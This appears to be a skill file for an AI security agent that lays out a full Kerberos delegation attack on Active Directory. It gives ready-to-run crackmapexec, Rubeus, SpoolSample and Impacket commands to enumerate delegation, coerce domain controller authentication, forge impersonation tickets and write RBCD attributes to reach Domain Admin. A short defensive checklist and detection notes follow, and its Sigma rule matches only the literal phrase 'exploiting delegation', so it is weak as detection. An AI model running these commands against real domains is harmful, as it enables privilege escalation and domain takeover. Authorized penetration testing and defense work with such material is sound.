<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: exploiting-delegation-vulnerabilities
description: >-
  Identify and exploit Active Directory delegation misconfigurations including
  unconstrained, constrained, and resource-based constrained delegation (RBCD)
  using Impacket, Rubeus, and krbrelayx for privilege escalation.
domain: cybersecurity
subdomain: active-directory-security
tags:
  - delegation
  - unconstrained
  - constrained
  - rbcd
  - kerberos
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1134.001", "T1134.005"]
  frameworks: ["MITRE ATT&CK"]
  tools: ["impacket", "rubeus", "krbrelayx", "crackmapexec"]
---

# Exploiting Delegation Vulnerabilities

## Overview

Kerberos delegation allows services to impersonate users when accessing other
services. Misconfigurations in unconstrained, constrained, and resource-based
constrained delegation (RBCD) enable attackers to escalate privileges from a
compromised service account or computer to Domain Admin.

## Prerequisites

| Tool / Requirement | Details |
|---|---|
| `impacket` | Security tooling |
| `Rubeus` | Security tooling |
| `krbrelayx` | Security tooling |
| `crackmapexec` | Security tooling |
| Compromised account with delegation configured, or write access to msDS-AllowedToActOnBehalfOfOtherIdentity | Environment requirement |

## Workflow

### Step 1: Enumerate Delegation Settings

```bash
# Find unconstrained delegation hosts
crackmapexec ldap 10.0.0.1 -u jsmith -p 'P@ssw0rd' -d corp.local \
  --trusted-for-delegation

# Find constrained delegation settings
crackmapexec ldap 10.0.0.1 -u jsmith -p 'P@ssw0rd' -d corp.local \
  -M get-delegation

# LDAP query for RBCD
# (&(objectClass=computer)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))

node scripts/agent.js enumerate --domain corp.local --dc-ip 10.0.0.1
```

### Step 2: Exploit Unconstrained Delegation

```bash
# Monitor for TGTs on compromised unconstrained delegation host
Rubeus.exe monitor /interval:5 /nowrap

# Coerce DC authentication to unconstrained host
python3 SpoolSample.py dc01.corp.local unconstrained-host.corp.local

# Use captured DC TGT for DCSync
Rubeus.exe ptt /ticket:<base64_tgt>
```

### Step 3: Exploit Constrained Delegation

```bash
# Request service ticket via S4U2Self + S4U2Proxy
impacket-getST -spn cifs/dc01.corp.local -impersonate Administrator \
  corp.local/svc-web:'P@ssw0rd' -dc-ip 10.0.0.1

# Use the ticket
export KRB5CCNAME=Administrator@cifs_dc01.corp.local@CORP.LOCAL.ccache
impacket-smbexec -k -no-pass dc01.corp.local

# Rubeus S4U
Rubeus.exe s4u /user:svc-web /rc4:<hash> /impersonateuser:Administrator \
  /msdsspn:cifs/dc01.corp.local /ptt
```

### Step 4: Exploit RBCD

```bash
# Add controlled computer to RBCD of target (requires write on target)
impacket-rbcd -delegate-from 'ATTACKER$' -delegate-to 'TARGET$' \
  -action write -dc-ip 10.0.0.1 corp.local/jsmith:'P@ssw0rd'

# Request ticket via S4U
impacket-getST -spn cifs/TARGET.corp.local -impersonate Administrator \
  corp.local/'ATTACKER$':'P@ssw0rd' -dc-ip 10.0.0.1

# Clean up RBCD delegation
impacket-rbcd -delegate-from 'ATTACKER$' -delegate-to 'TARGET$' \
  -action flush -dc-ip 10.0.0.1 corp.local/jsmith:'P@ssw0rd'
```

## Verification

- [ ] All delegation types enumerated across domain
- [ ] Unconstrained delegation limited to DCs only
- [ ] Constrained delegation SPNs reviewed for sensitive services
- [ ] RBCD write permissions audited on computer objects
- [ ] Exploitation validated on authorized targets

## Detection Opportunities

- Event 4769 with S4U2Proxy — delegation ticket request
- Anomalous TGT requests from non-DC unconstrained delegation hosts
- RBCD attribute changes (Event 5136 on msDS-AllowedToActOnBehalfOfOtherIdentity)
- Coerced authentication from DCs (SpoolSample, PetitPotam)

```yaml
title: Exploiting Delegation Vulnerabilities Detection
id: 0b7efd12-870e-4bfd-865e-750d061cacd3
status: experimental
description: Detects suspicious activity related to exploiting delegation vulnerabilities techniques in active directory security context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*exploiting*delegation*"
  condition: selection
level: medium
tags:
  - attack.t1134.001
  - attack.t1134.005
  - attack.credential_access
falsepositives:
  - Authorized Active Directory administration using approved management tools
```

## References

- [Harmj0y — S4U2Pwnage](https://harmj0y.net/blog/activedirectory/s4u2pwnage/)
- [Elad Shamir — Wagging the Dog](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
- [Impacket rbcd.py](https://github.com/fortra/impacket/blob/main/examples/rbcd.py)
